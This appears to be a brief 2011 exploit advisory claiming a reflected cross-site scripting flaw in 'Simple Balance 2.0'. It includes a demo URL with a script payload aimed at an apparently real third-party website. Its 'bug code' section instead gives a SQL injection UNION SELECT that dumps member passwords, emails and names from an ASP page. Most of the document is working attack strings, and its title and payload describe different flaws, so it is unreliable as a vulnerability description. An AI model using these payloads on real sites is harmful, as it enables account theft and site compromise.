< ------------------- header data start ------------------- >
#############################################
[#] Exploit Title: Simple Balance 2.0 Cross Site Script Vulnerabilities
[#] Author: expulse/Bug Researchers
[#] Date: 27.06.2011
[#] DEMO: http://www.jennyandians.com/?s=<script>alert%28“EXPULSE“%29<%2Fscript>
[#] Vuln Type: Reflected XSS
[#] Fixed : Zararli Karakterler Filitrelenmelidir.
##############################################
[*] ## Exploit ##:
[#] http://victim/tags/?s=XSSAttack]
[#] Inject XSS Code ~~>> GET / ?s=XSS
###############################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
/uyebilgi.asp?uye=-1’+union+select+0,sifre,2,email,isim,id,6,7,8,9,0,1,2,3,4+from+uyeler
< -- bug code end of -- >